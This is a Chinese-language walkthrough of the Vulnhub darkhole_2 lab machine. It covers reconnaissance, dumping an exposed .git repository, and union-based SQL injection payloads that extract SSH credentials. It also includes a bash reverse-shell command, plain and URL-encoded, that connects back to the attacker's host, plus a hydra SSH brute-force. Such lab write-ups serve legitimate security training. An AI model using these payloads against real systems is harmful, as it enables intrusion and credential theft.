Vulnhub靶机下载:
https://www.vulnhub.com/
测试机系统:kali、win10
测试机IP:192.168.3.5
kali:192.168.3.136
一、信息收集
1.主机发现
arp-scan -l
发现靶机IP:192.168.3.5
2.端口扫描
步骤一:使用nmap进行网络扫描,
nmap -sS -A -T5 192.168.3.5 -O
3.服务扫描
nmap -T4 -sV -O -p 22,80 192.168.3.5
4.目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.3.5 -t 30
#访问目录扫描出的网站
http://192.168.3.5/dashboard.php (Status: 200) [Size: 11]
http://192.168.3.5/index.php (Status: 200) [Size: 740]
http://192.168.3.5/login.php (Status: 200) [Size: 1026]
dirb http://192.168.3.5
扫描目录,可以发现.git 目录
http://192.168.3.5/.git/HEAD
二、漏洞探测
接着访问.git 目录:http://192.168.127.144/.git/
使用git-dumper分析git文件
直接用pip3安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
报错没事,接着做
下载 git 文件夹内容:
git-dumper http://192.168.3.5/.git/ backup
切换到backup 文件,查看日志 cd backup
我们发现有三次提交,可以使用Diff查看提交的区别
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
获取账号,密码
从上面三次提交,我们可以找到账号:lush@admin.com 密码:321 登录
三、漏洞利用
SQL注入漏洞的利用
刚刚登陆成功之后,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。
第一步:通过单引号或者and方法测试是否有注入
kobe' 无回显结果。
kobe' and 1=1#正确
证明存在sql注入
猜解表中列数
http://192.168.127.144/dashboard.php?id=1' order by 7 --+ //报错
http://192.168.127.144/dashboard.php?id=1' order by 6 --+ //正常
测试回显位置
http://192.168.3.5/dashboard.php?id=-1' union select 1,2,3,4,5,6 --+
爆破数据库的名字
http://192.168.3.5/dashboard.php?id=-1' UNION SELECT 1,database(),3,4,5,6 --+
获取数据库的名字:darkhole_2
爆破数据库的表名
http://192.168.3.5/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.3.5/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='ssh' --+
http://192.168.3.5/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh --+
攻破获取账号密码成功
如图所示:得到 ssh 表中的用户和密码:
jehad:fool
#爆表名
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() --+
#爆列名
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'--+
#爆数据
http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,user,psas,4,5,6 ssh--+
四、提权
sudo 提权
登陆 jehad 的账号以后,查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户继续进行提权
继续提权
cat /etc/passwd | grep "/bin/bash"
如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。
cat .bash_history #查看历史命令
发现本地有9999端口的服务。
查看 socket 统计信息
ss -antp
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
接着我们执行命令:
curl "http://127.0.0.1:9999/?cmd=id"
可以发现9999端口网站的用户是losy
获取losy的权限
方法一:
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
ssh jehad@192.168.3.5 -L 9999:localhost:9999
# 构造连接 kali 的命令
bash -c 'bash -i >& /dev/tcp/192.168.3.136/5555 0>&1'
# 使用 URL 编码
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%2e%31%33%36%2f%35%35%35%35%20%30%3e%26%31%27
# 使用 nc 监听 5555端口,然后浏览器(也可直接用curl)访问:
http://127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.136%2F5555%200%3E%261'
curl http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%2e%31%33%36%2f%35%35%35%35%20%30%3e%26%31%27
成功拿到 losy 的权限
方法二:
步骤一:直接爆破lama的密码
hydra -l lama -P /root/桌面/1.txt ssh://192.168.3.5
步骤二:进行远程登陆并获取flag